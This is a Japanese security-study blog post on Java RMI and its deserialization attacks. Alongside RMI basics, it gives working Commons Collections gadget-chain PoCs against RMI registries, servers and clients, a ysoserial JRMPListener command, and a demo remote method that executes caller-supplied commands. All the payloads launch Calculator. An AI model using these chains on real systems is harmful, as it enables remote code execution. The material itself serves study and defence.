w0s1np

w0s1np

记录学习和思考 快就是慢、慢就是快 静下心来学习
github

Java RMIとその逆シリアル化の学習

Java RMI とその逆シリアル化学習#

長文のため、JEP290 のバイパスは次の記事に記載します。

前言#

オンラインにはこの攻撃に関する多くの記事があり、初心者として再度この文章を書くにあたり、何をすべきかを記録する必要があります。単に情報をコピーするのではなく、以下のことを行います。

  1. この内容に関する概念を記録し、理解する
  2. 既存の poc や exp を記録し、後で直接使用できるようにする
  3. 適切な場所に自分の考えや理解、コードを書く
  4. 攻撃の考え方や原理を理解し、自分で exp を整理することで、面接の質問に答えるのに役立てる

この記事は比較的長いです。なぜなら、私は各デバッグステップをすべて記録する習慣があるからです。そうすることで、再度復習する際に疑問を解決しやすくなります。しかし、この方法の欠点は、核心的な情報を迅速に取得できないことです。したがって、前言で面接に必要な問題や脆弱性を見つけるための知識と考え方を抽出するのが最善です。

Java RMI とその逆シリアル化学習#

0x01 RMI 基礎#

RPC#

RPC(Remote Procedure Call)とは、リモート関数をローカル関数のように呼び出すことです。これは特定のフレームワークではなく、リモートプロシージャコールを実現したものはすべて RPC と呼ばれます。たとえば、RMI(Remote Method Invoke、リモートメソッド呼び出し)は RPC を実現した JAVA フレームワークです。

java 代理#

代理モード#

代理モードはデザインパターンの一種で、ターゲットオブジェクトへの追加のアクセス方法を提供します。つまり、代理オブジェクトを介してターゲットオブジェクトにアクセスすることで、元のターゲットオブジェクトを変更することなく、追加の機能操作を提供し、ターゲットオブジェクトの機能を拡張します。

静的代理#

この代理方式では、代理オブジェクトとターゲットオブジェクトが同じインターフェースを実装する必要があります。

  • インターフェースクラス: IUserDao.java

    package static_proxy;
    
    public interface IUserDao {
        public void save();
    }
    
  • ターゲットオブジェクト: UserDao.java

    package static_proxy;
    
    // IUserDaoインターフェースを実装
    public class UserDao implements IUserDao{
        @Override
        public void save() {
            System.out.println("データを保存");
        }
    }
    
  • 静的代理オブジェクト:UserDapProxy.java

    package static_proxy;
    
    // IUserDaoインターフェースを実装する必要があります
    public class UserDapProxy implements IUserDao{
        private IUserDao target;
    
        public UserDapProxy(IUserDao target) {
            this.target = target;
        }
    
        @Override
        public void save() { // メソッドをオーバーライド
            System.out.println("doSomething before"); // 実行前に追加できる操作
            target.save(); // 実際に呼び出す必要があるメソッド
            System.out.println("doSomething after"); // 実行後に追加できる操作
        }
    }
    
  • テストクラス:TestProxy.java

    package static_proxy;
    
    public class TestProxy {
        public static void main(String[] args) {
            // ターゲットオブジェクト
            IUserDao target = new UserDao();
            // 代理オブジェクト
            UserDapProxy proxy = new UserDapProxy(target);
            // 代理を介してメソッドを呼び出す
            proxy.save();
        }
    }
    
doSomething before
データを保存
doSomething after

元のオブジェクトを変更せずに、メソッドの前後に新しい機能を追加できることがわかります。実際には、ターゲットオブジェクトを最初にインスタンス化し、新しいメソッド内でターゲットオブジェクトのターゲットメソッドを呼び出すことになります。この方法の欠点は次のとおりです。

  1. 冗長性:代理オブジェクトがターゲットオブジェクトと同じインターフェースを実装する必要があるため、過剰な代理クラスが生成されます。
  2. メンテナンスが難しい:インターフェースにメソッドが追加されると、ターゲットオブジェクトと代理オブジェクトの両方を修正する必要があります。

動的代理#

動的代理は、JAVA のリフレクションを利用して、メモリ内で動的に代理オブジェクトを構築し、ターゲットオブジェクトの代理機能を実現します。動的代理は JDK 代理またはインターフェース代理とも呼ばれます。動的代理オブジェクトはインターフェースを実装する必要はありませんが、ターゲットオブジェクトはインターフェースを実装する必要があります。そうでないと、動的代理を使用できません。

  • 動的代理オブジェクト:UserProxyFactory.java

    package Dynamic_proxy;
    
    import java.lang.reflect.InvocationHandler;
    import java.lang.reflect.Method;
    import java.lang.reflect.Proxy;
    
    public class UserProxyFactory {
        private Object target;
    
        public UserProxyFactory(Object target) {
            this.target = target;
        }
    
        public Object getProxyInstance() {
            // 指定されたインターフェースの代理クラスインスタンスを返します。このインターフェースは、メソッド呼び出しを指定された呼び出し処理プログラムに委任できます。
            return Proxy.newProxyInstance(
                    target.getClass().getClassLoader(), // 現在のターゲットオブジェクトが使用するクラスローダーを指定
                    target.getClass().getInterfaces(), // ターゲットオブジェクトが実装するインターフェースの型
                    new InvocationHandler() { // イベントハンドラー
                        @Override // InvocationHandlerクラスのinvokeメソッドをオーバーライドし、リフレクションを介してメソッドを呼び出します
                        public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
                            System.out.println("doSomething before");
                            Object returnValue = method.invoke(target, args);
                            System.out.println("doSomething after");
                            return null;
                        }
                    }
            );
        }
    }
    
  • テストクラス:TestDynamicProxy.java

    package Dynamic_proxy;
    
    import static_proxy.*;
    
    public class TestDynamicProxy {
        public static void main(String[] args) {
            IUserDao target = new UserDao();
            System.out.println(target.getClass()); // ターゲットオブジェクトの情報を取得
            System.out.println(target.getClass().getSuperclass()); // ターゲットオブジェクトの親クラスを取得
            System.out.println(target.getClass().getInterfaces()); // ターゲットオブジェクトが実装するインターフェースを取得
    
            IUserDao proxy = (IUserDao) new UserProxyFactory(target).getProxyInstance(); // 代理クラスを取得
            System.out.println(proxy.getClass()); // 代理オブジェクトの情報を取得
            proxy.save(); // 代理メソッドを実行
        }
    }
    

RMI#

RMI(Remote Method Invoke)とは、リモートメソッド呼び出しのことです。クライアント(Client)がリモートサーバー(Server)上のメソッドを呼び出すことができ、JVM 仮想マシンは別の JVM 仮想マシン内のメソッドをリモートで呼び出すことができます。ただし、クライアントはサーバー上のメソッドを直接呼び出すのではなく、スタブ(stub)を介してクライアントの代理としてサーバーにアクセスします。一方、スケルトン(Skeleton)は別の代理で、実際のオブジェクトと一緒にサーバー上にあり、スケルトンは受け取ったリクエストをサーバーに処理させ、サーバーが処理を完了した後、結果をパッケージ化してスタブに送信します。次に、スタブは結果を解凍してクライアントに送信します。

image

シリアル化伝送#

RMI では、データ伝送中のオブジェクトは java.io.Serializable インターフェースを実装する必要があります。なぜなら、伝送中はすべてシリアル化されて伝送され、クライアントの serialVersionUID フィールドはサーバー側と一致している必要があります。下の図のaced​は逆シリアル化のマークです。

image 1

RMI の主要構成要素#

RMI は主に 3 つの部分で構成されています。

  1. RMI Registry 登録表:サービスインスタンスは特定の名前に登録されます(電話帳のように理解できます)
  2. RMI Server サーバー
  3. RMI Client クライアント:クライアントは登録表を照会して対応する名前のオブジェクト参照を取得し、そのオブジェクトが実装するインターフェースを取得します

まず、RMI Client は RMI Registry(デフォルトポート 1099)にリモート接続し、Registry で名前が Test のオブジェクトを探します(この時、クライアントは Test オブジェクト内のメソッドを呼び出そうとしています)。Registry は対応する名前のリモートオブジェクト参照を探し、シリアル化して返します(データ内容はリモートオブジェクトのアドレスであり、ここで返されるオブジェクトは前述のスタブです)。クライアントは受け取った後、最初にローカルの classpath で検索し、見つからなければリモートオブジェクトであると判断し、クライアントはリモートアドレスに tcp 接続を行います。

image 2

スタブ(Stub)とスケルトン(Skeleton)#

RMI Server が起動するとき、ポートはランダムに割り当てられますが、RMI Registry のポートは知られています。

  1. クライアントはリモート接続を介して Registry からスタブ(Stub)を取得します。スタブ(Stub)にはリモートオブジェクトの位置情報が含まれており、Socket ポート、サーバーホストアドレスなどが含まれ、リモート呼び出しプロセス中の具体的な低レベルネットワーク通信の詳細を実装しています。
  2. スタブ(Stub)はクライアントの代理クラスであるため、クライアントはスタブ上のメソッドを呼び出すことができます。
  3. スタブはサーバーにリモート接続し、対応するパラメータを送信します。
  4. スケルトン(Skeleton)はデータを受け取り、逆シリアル化を行い、サーバーに送信します。
  5. サーバーは処理を行った後、結果をパッケージ化してクライアントに送信します。

0x02 RMI デモ#

サーバー#

  1. Remote インターフェースを実装するクラスを作成します。
  2. UnicastRemoteObject を継承するインターフェース実装クラスを作成します。

リモートオブジェクトの実装クラスは UnicastRemoteObject を継承する必要があります。継承しないと、そのクラスがリモートオブジェクトであることを示すことができません。継承しない場合は、クラス内の exportObject 静的メソッドを手動で呼び出す必要があります。

Services services = (Services) UnicastRemoteObject.exportObject(obj, 0);
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class server {
    public interface RMIinterface extends Remote {
        String RmiDemo(String cmd) throws Exception;
    }

    public class RMIInstance extends UnicastRemoteObject implements RMIinterface {

        protected RMIInstance() throws RemoteException {
            super();
        }

        @Override
        public String RmiDemo(String cmd) throws Exception {
            Runtime.getRuntime().exec(cmd);
            return "+OK";
        }
    }
}

レジストリ#

RMI Registry は RMI 電話帳のようなもので、Registry を使用して別のホスト上に登録されたリモートオブジェクトの参照を検索できます。上に名前とオブジェクトのバインディング関係を登録できますが、Registry 自体はリモートメソッドを実行しません。RMI Client は名前を使用して RMI Registry を照会し、このバインディング関係を取得し、次に RMI Server に接続し、最終的にリモートメソッドは実際に RMI Server 上で呼び出されます。

// Registryサービスを作成して実行し、ポートは1099
LocateRegistry.createRegistry(1099);
// Naming.bindでバインディングを行い、rmIinterfaceオブジェクトをExpという名前にバインドします。最初のパラメータはURL、2番目のパラメータはオブジェクトです。
Naming.bind("rmi://127.0.0.1/Exp",rmIinterface);

サーバーとレジストリを組み合わせます:

import java.rmi.Naming;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.server.UnicastRemoteObject;

public class server {
    public interface RMIinterface extends Remote {
        String RmiDemo(String cmd) throws Exception;
    }

    public class RMIInstance extends UnicastRemoteObject implements RMIinterface {

        protected RMIInstance() throws RemoteException {
            super();
        }

        @Override
        public String RmiDemo(String cmd) throws Exception {
            Runtime.getRuntime().exec(cmd);
            return "+OK";
        }
    }
    public void start() throws Exception {
        RMIinterface rmIinterface =new RMIInstance();
        LocateRegistry.createRegistry(1099);
        Naming.bind("rmi://127.0.0.1/Exp",rmIinterface);
    }

    public static void main(String[] args) throws Exception {
        new server().start();
    }
}

クライアント#

Naming.lookup を使用して対応するインスタンスを見つけ、メソッドを呼び出し、open -a Calculator をパラメータとして渡します。

import java.rmi.Naming;

public class client {
    public static void main(String[] args) throws Exception{
        server.RMIinterface rmIinterface = (server.RMIinterface) Naming.lookup("rmi://127.0.0.1:1099/Exp");
        String res = rmIinterface.RmiDemo("open -a Calculator");
        System.out.println(res);
    }
}

image 3

RMI 通信(Wireshark)#

image 4

RMI 通信プロセス全体で、合計 2 回の TCP 接続が行われます。

  1. 最初に Registry:1099 との TCP 接続を確立し、Registry はスタブを返します。
  2. サーバーのアドレスを取得した後(127.0.0.1:53763)、スタブを使用してリモートメソッドを呼び出すために 2 回目の TCP 接続を行います。したがって、メソッド呼び出しはこの TCP 通信内で行われます。

0x03 RMI がもたらすセキュリティ問題#

リモート悪意のあるメソッドを呼び出す#

RMI メカニズムを利用してリモートメソッドを直接呼び出すことができるため、サーバー側に悪意のあるメソッドが存在し、ちょうど Registry に登録されている場合、リモート悪意のあるメソッドを直接呼び出して攻撃することができるのではないでしょうか?通常、RMI Registry のデフォルトポートは 1099 であり、RMI Registry にアクセスできる場合、私たちは何ができるでしょうか?

  1. 悪意のあるオブジェクトをバインドしようとする 答えはできません。リモートバインド、バインド、アンバインドメソッドを呼び出すことができるのは、ソースアドレスがlocalhostの場合のみですが、list および lookup メソッドを使用することができます。
  2. RMI サーバー上に存在する悪意のあるメソッドを利用してコマンドを実行することができます。最初に list を使用してすべてのオブジェクト参照をリストし、ターゲットサーバー上に危険なメソッドが存在する限り、RMI を介して呼び出すことができます。以前、危険なメソッドを探すためのツールがありましたhttps://github.com/NickstaDB/BaRMIe

codebase を利用してコマンドを実行する#

簡単に言えば、codebase はリモートでクラスをロードするパスです。オブジェクトがシリアル化データを送信するとき、codebase 情報が付加されます。受信者がローカルの classpath でクラスを見つけられない場合、codebase が指し示すアドレスからクラスをロードします。

RMI では、codebase をシリアル化データと一緒に送信できます。サーバーがこのデータを受信すると、CLASSPATH と指定された codebase を探してクラスを探します。codebase が制御されると、任意のコマンド実行の脆弱性が発生します。

codebase を指定する方法:

java -Djava.rmi.server.codebase=http://url:8080/
#または
java -Djava.rmi.server.codebase=http://url:8080/xxx.jar

image 5

同様に、コード内でSystem.setProperty()​を使用してシステムプロパティ値を設定することもできます。

System.setProperty("java.rmi.server.codebase", "<http://url:8080/>");

したがって、公式もこのセキュリティの脆弱性に注意を払っています。したがって、次の条件を満たす RMI サーバーのみが攻撃される可能性があります。

  1. Java SecurityManager​の制限により、デフォルトではリモートでのクラスのロードは許可されていません。リモートでクラスをロードする必要がある場合は、RMISecurityManager​を起動し、java.security.policy​を設定する必要があります。
  2. Java のバージョンが 7u21、6u45 未満であるか、java.rmi.server.useCodebaseOnly=false が設定されている場合。

ここで、java.rmi.server.useCodebaseOnly は Java 7u21、6u45 で変更されたデフォルト設定です:

https://docs.oracle.com/javase/7/docs/technotes/guides/rmi/enhancements-7.html

https://www.oracle.com/technetwork/java/javase/7u21-relnotes-1932873.html

公式は、java.rmi.server.useCodebaseOnly のデフォルト値を false から true に変更しました。java.rmi.server.useCodebaseOnly が true に設定されている場合、Java 仮想マシンは事前に設定された codebase のみを信頼し、RMI リクエストから取得することはできなくなります。

RMI 逆シリアル化攻撃#

RMI のコアの 1 つは動的クラスロードです。クライアント、サーバー、または Registry のいずれかがリモートオブジェクトを操作する必要がある場合、必然的にシリアル化と逆シリアル化が関与します。もしどちらかの端がオーバーライドされたreadObject()​メソッドを呼び出した場合、逆シリアル化攻撃を行うことができます。

RMI の相互作用方法#

逆シリアル化である以上、逆シリアル化ポイントを探す必要があります。RMI 通信の過程で、各オブジェクトと相互作用する関数を理解する必要があります。まず、登録センターと相互作用するいくつかの方法を見てみましょう。

RMI プロセスでは、以下の 5 つの相互作用方法がしばしば関与します。これらのメソッドはRegistryImpl_Skel.dispatch()​内にあり、それぞれの方法に対応する case は以下の通りです。

  • 0->bind
  • 1->list
  • 2->lookup
  • 3->rebind
  • 4->unbind

list

list メソッドは Registry 上にバインドされたリモートオブジェクトをリストするために使用されます。

case 1:
    var2.releaseInputStream();
    String[] var79 = var6.list();

    try {
        ObjectOutput var81 = var2.getResultStream(true);
        var81.writeObject(var79);
        break;
    } catch (IOException var75) {
        throw new MarshalException("error marshalling return", var75);
    }

readObject()​がないため、利用できません。

bind&rebind

bind​メソッドは Registry 上にリモートオブジェクトをバインドするために使用され、rebind​メソッドはbind​メソッドに似ています。

case 0:
    RegistryImpl.checkAccess("Registry.bind");

    try {
        var9 = var2.getInputStream();
        var7 = (String)var9.readObject();
        var80 = (Remote)var9.readObject();
    } catch (ClassNotFoundException | IOException var77) {
        throw new UnmarshalException("error unmarshalling arguments", var77);
    } finally {
        var2.releaseInputStream();
    }

    var6.bind(var7, var80);

    try {
        var2.getResultStream(true);
        break;
    } catch (IOException var76) {
        throw new MarshalException("error marshalling return", var76);
    }

    case 3:
    RegistryImpl.checkAccess("Registry.rebind");

    try {
        var9 = var2.getInputStream();
        var7 = (String)var9.readObject();
        var80 = (Remote)var9.readObject();
    } catch (ClassNotFoundException | IOException var70) {
        throw new UnmarshalException("error unmarshalling arguments", var70);
    } finally {
        var2.releaseInputStream();
    }

    var6.rebind(var7, var80);

    try {
        var2.getResultStream(true);
        break;
    } catch (IOException var69) {
        throw new MarshalException("error marshalling return", var69);
    }

bind​とrebind​メソッドの両方にreadObject()​メソッドが含まれていることがわかります。サーバーがbind​およびrebind​メソッドを呼び出し、逆シリアル化の脆弱性を持つ関連コンポーネントがインストールされている場合、逆シリアル化攻撃を行うことができます。

lookup&unbind

lookup​メソッドは Registry 上のリモートオブジェクトを取得するために使用され、unbind​はリモートオブジェクトをアンバインドするために使用されます。

case 2:
    try {
        var8 = var2.getInputStream();
        var7 = (String)var8.readObject();
    } catch (ClassNotFoundException | IOException var73) {
        throw new UnmarshalException("error unmarshalling arguments", var73);
    } finally {
        var2.releaseInputStream();
    }

    var80 = var6.lookup(var7);

    try {
        ObjectOutput var82 = var2.getResultStream(true);
        var82.writeObject(var80);
        break;
    } catch (IOException var72) {
        throw new MarshalException("error marshalling return", var72);
    }

    case 4:
    RegistryImpl.checkAccess("Registry.unbind");

    try {
        var8 = var2.getInputStream();
        var7 = (String)var8.readObject();
    } catch (ClassNotFoundException | IOException var67) {
        throw new UnmarshalException("error unmarshalling arguments", var67);
    } finally {
        var2.releaseInputStream();
    }

    var6.unbind(var7);

    try {
        var2.getResultStream(true);
        break;
    } catch (IOException var66) {
        throw new MarshalException("error marshalling return", var66);
    }

これらの 2 つのメソッドにはreadObject()​が含まれていますが、String​クラスです。ここでは直接利用することはできませんが、接続リクエストを偽造して利用することができます。

登録センターを攻撃する#

サーバーとクライアントの登録センターへの攻撃方法は同じで、リモートで登録センターを取得し、悪意のあるオブジェクトを渡すことで利用します。

bind と rebind

サーバーコード:

import java.rmi.Naming;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.server.UnicastRemoteObject;

public class Server {

    public interface User extends Remote {
        public String name(String name) throws RemoteException;
        public void say(String say) throws RemoteException;
    }

    public static class UserImpl extends UnicastRemoteObject implements User{

        protected UserImpl() throws RemoteException{
            super();
        }
        public String name(String name) throws RemoteException{
            return name;
        }
        public void say(String say) throws  RemoteException{
            System.out.println("あなたが言う" + say);
        }
    }

    public static void main(String[] args) throws Exception{
        String url = "rmi://127.0.0.1:1099/User";
        UserImpl user = new UserImpl();
        LocateRegistry.createRegistry(1099);
        Naming.bind(url,user);
        System.out.println("RMIサーバーが実行中です");
    }
}

クライアント:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

import java.util.HashMap;
import java.util.Map;

public class Client {

    public static void main(String[] args) throws Exception {

        ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                        String.class, Class[].class }, new Object[] {
                        "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {
                        null, new Object[0] }),
                new InvokerTransformer("exec",
                        new Class[] { String.class }, new Object[]{"open -a Calculator"})});
        HashMap innermap = new HashMap();
        Class clazz = Class.forName("org.apache.commons.collections.map.LazyMap");
        Constructor[] constructors = clazz.getDeclaredConstructors();
        Constructor constructor = constructors[0];
        constructor.setAccessible(true);
        Map map = (Map)constructor.newInstance(innermap,chain);

        Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
        handler_constructor.setAccessible(true);
        InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class,map); //最初の代理のハンドラーを作成

        Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},map_handler); //プロキシオブジェクトを作成

        Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
        AnnotationInvocationHandler_Constructor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler)AnnotationInvocationHandler_Constructor.newInstance(Override.class,proxy_map);

        Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
        Remote r = Remote.class.cast(Proxy.newProxyInstance(
                Remote.class.getClassLoader(),
                new Class[] { Remote.class }, handler));
        registry.bind("test",r);

    }
}

重要な点に注目:

Remote r = Remote.class.cast(Proxy.newProxyInstance(
        Remote.class.getClassLoader(),
        new Class[] { Remote.class }, handler));

bind()​を呼び出すときにAnnotationInvocationHandlerクラスのオブジェクトを渡すことができないため、Remote クラスに変換する必要があります。Remote.class.cast は、実際にはプロキシオブジェクトを Remote オブジェクトに変換しています:

Proxy.newProxyInstance(
                Remote.class.getClassLoader(),
                new Class[] { Remote.class }, handler)

上記のコードでは、プロキシオブジェクトが作成され、このプロキシオブジェクトは Remote.class インターフェースを代理し、handler は私たちの handler オブジェクトです。このプロキシオブジェクトのすべてのメソッドを呼び出すと、最終的には handler の invoke メソッドが呼び出されます。

handler は InvocationHandler オブジェクトであるため、r が逆シリアル化されると、InvocationHandler オブジェクトの invoke メソッドに入ります。この invoke メソッドでは、memberValues の get メソッドがトリガーされます。このとき、memberValues は proxy_map であり、これもプロキシクラスオブジェクトです。したがって、proxy_map の invoke メソッドがトリガーされ、後半は cc1 の前半部分になります。

しかし、なぜここでプロキシオブジェクトをラップする必要があるのか、直接 Remote タイプに変換するのではなく。

Remote.class.cast は、JAVA の Class.cast メソッドに関する参考文献を参照できます。このメソッドの目的は、強制的に型を変換することです。逆シリアル化プロセスの参考文献:シリアル化と逆シリアル化

image 6

ただし、ここではクライアントも 127.0.0.1 上にいるため、悪意のあるオブジェクトを bind することができます。実際にはリモートでは bind できません。

unbind&lookup

ここでは String のみを渡すことができ、2 つの利用方法があります。

  • 接続リクエストを偽造する
  • rasp hook リクエストコードを修正し、送信データを変更する

最初に getRegistry を使用して Registry_Stub オブジェクトを取得し、lookup を呼び出す必要があります。次に、以下のように進めます。

public Remote lookup(String var1) throws AccessException, NotBoundException, RemoteException {
    try {
        RemoteCall var2 = super.ref.newCall(this,operations, 2, 4905912898345647071L);

        try {
            ObjectOutput var3 = var2.getOutputStream();
            var3.writeObject(var1);
        } catch (IOException var18) {
            throw new MarshalException("error marshalling arguments", var18);
        }

        super.ref.invoke(var2);

        Remote var23;
        try {
            ObjectInput var6 = var2.getInputStream();
            var23 = (Remote)var6.readObject();
        } catch (IOException var15) {
            throw new UnmarshalException("error unmarshalling return", var15);
        } catch (ClassNotFoundException var16) {
            throw new UnmarshalException("error unmarshalling return", var16);
        } finally {
            super.ref.done(var2);
        }

        return var23;
    } catch (RuntimeException var19) {
        throw var19;
    } catch (RemoteException var20) {
        throw var20;
    } catch (NotBoundException var21) {
        throw var21;
    } catch (Exception var22) {
        throw new UnexpectedException("undeclared checked exception", var22);
    }
}

パラメータ var1 は String クラスのみであるため、lookup メソッドを偽造し、var3.writeObject(var1);​で悪意のあるクラスを渡す必要があります。

これを模倣して lookup をオーバーライドし、悪意のあるオブジェクトを var1 に渡すようにします。

POC:

package rmi.attack_reg;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import sun.rmi.server.UnicastRef;

import java.io.ObjectOutput;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

import java.rmi.server.Operation;
import java.rmi.server.RemoteCall;
import java.rmi.server.RemoteObject;
import java.util.HashMap;
import java.util.Map;

public class client2 {

    public static void main(String[] args) throws Exception {

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})
        };
        ChainedTransformer chain = new ChainedTransformer(transformers);
        HashMap innermap = new HashMap();
        Class clazz = Class.forName("org.apache.commons.collections.map.LazyMap");
        Constructor[] constructors = clazz.getDeclaredConstructors();
        Constructor constructor = constructors[0];
        constructor.setAccessible(true);
        Map map = (Map)constructor.newInstance(innermap,chain);

        Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
        handler_constructor.setAccessible(true);
        InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class,map); //最初の代理のハンドラーを作成

        Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},map_handler); //プロキシオブジェクトを作成

        Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
        AnnotationInvocationHandler_Constructor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler)AnnotationInvocationHandler_Constructor.newInstance(Override.class,proxy_map);

        Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
        Remote r = Remote.class.cast(Proxy.newProxyInstance(
                Remote.class.getClassLoader(),
                new Class[] { Remote.class }, handler));
        // refを取得
        Field[] fields_0 = registry.getClass().getSuperclass().getSuperclass().getDeclaredFields();
        fields_0[0].setAccessible(true);
        UnicastRef ref = (UnicastRef) fields_0[0].get(registry);

        //operationsを取得
        Field[] fields_1 = registry.getClass().getDeclaredFields();
        fields_1[0].setAccessible(true);
        Operation[] operations = (Operation[]) fields_1[0].get(registry);

        // lookupのコードを偽造し、送信情報を偽造する
        RemoteCall var2 = ref.newCall((RemoteObject) registry, operations, 2, 4905912898345647071L);
        ObjectOutput var3 = var2.getOutputStream();
        var3.writeObject(r);
        ref.invoke(var2);
    }
}

見た目には lookup メソッドを使用していないようですが、実際には lookup リクエストを偽造し、重要なのは lookup メソッドではなく、この送信情報を介して、以前に言及した dispatch の対応するブランチに逆シリアル化をトリガーすることです。したがって、これは実際には攻撃方法の 1 つではなく、単なる考え方です。

image 7

クライアント側を攻撃する#

unbind と rebind を除いて、他のすべてはクライアントにデータを返します。このとき、データはシリアル化されたデータであるため、クライアントは自然に逆シリアル化を行います。したがって、登録センターの返すデータを偽造することで、クライアントを攻撃することができます。

登録センターがクライアントを攻撃する

ここで yso の JRMPListener がすでに用意されているため、コマンドは次のとおりです。

java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 12345  CommonsCollections1 'open  /System/Applications/Calculator.app'

image 8

他の操作はすべて利用可能です:

list()
bind()
rebind()
unbind()
lookup()

原理はほぼ同じで、RegistryImpl_Stub.java#list​を見てみましょう。

image

newCall​は新しい TCP 接続を確立し、後続のリモート呼び出しを容易にします。ここでregistry.list();​に対応し、ref.invoke​内のthis.releaseOutputStream();​は registry にこのリクエストを送信し、this.getInputStream();​はregistryが返すデータ​を取得し、this.in​に保存します。その後、readobjectを実行し、攻撃をトリガーします。

image

サーバーがクライアントを攻撃する

サーバーがクライアントを攻撃する方法は次の 2 つのシナリオに分かれます。

  1. codebase を使用できる
  2. サーバーが返すパラメータが Object オブジェクトである

ここでは 2 番目の方法だけを見ます。最初の方法はすでに説明したように、利用が難しいです。

サーバーがクライアントに Object オブジェクトを返すとき、クライアントはこの Object オブジェクトを逆シリアル化します。リモートで特定のメソッドを呼び出すと、返されるのは Object オブジェクトインターフェースです。

インターフェース

import java.rmi.Remote;
public interface User extends Remote {
    public Object getUser() throws Exception;
}

悪意のある UserImpl:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
import java.util.HashMap;
import java.util.Map;

public class LocalUser extends UnicastRemoteObject implements User  {

    public LocalUser() throws RemoteException {
        super();
    }

    public Object getUser() throws Exception{
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] { String.class }, new String[] { "/System/Applications/Calculator.app/Contents/MacOS/Calculator" }),
        };
        Transformer transformerChain = new ChainedTransformer(transformers);

        Map innerMap = new HashMap();
        innerMap.put("value", "xxxx");
        Map outmap = TransformedMap.decorate(innerMap, null, transformerChain);

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        Object instance = constructor.newInstance(Retention.class, outmap);

        return instance;
    }
}

悪意のあるサーバー:

import java.rmi.AlreadyBoundException;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.concurrent.CountDownLatch;

public class Server {
    public static void main(String[] args) throws RemoteException, AlreadyBoundException, InterruptedException, NotBoundException {
        User liming = new LocalUser();
        Registry registry = LocateRegistry.createRegistry(8888);
        registry.bind("user",liming);
        System.out.println("registry is running...");
        System.out.println("liming is bind in registry");
        CountDownLatch latch=new CountDownLatch(1);
        latch.await();
    }

}

クライアント

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class Client {
    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
        User user = (User) registry.lookup("user");
        user.getUser();
    }
}

これは、リモートメソッドを呼び出す結果が Object オブジェクトを返し、クライアントに戻るときに逆シリアル化が行われます。

サーバー側を攻撃する#

クライアントが呼び出すリモートメソッドのパラメータに Object クラスが含まれている場合、クライアントは悪意のあるオブジェクトを送信できます。リモートオブジェクトはシリアル化形式で伝送されるため、サーバー側が受信すると、必然的に逆シリアル化を行います。サーバー側に脆弱性のあるコンポーネントがインストールされている場合、攻撃を行うことができます。以下にシミュレーションします。

実際、この方法の本質はサーバーに悪意のあるオブジェクトを渡すことであり、次の利用条件があります。

  • サーバー側には Object オブジェクトを渡すことができるリモートメソッドがある
  • サーバー側に逆シリアル化の脆弱性を持つ関連コンポーネントがインストールされている

サーバー

package rmi.attack_server;

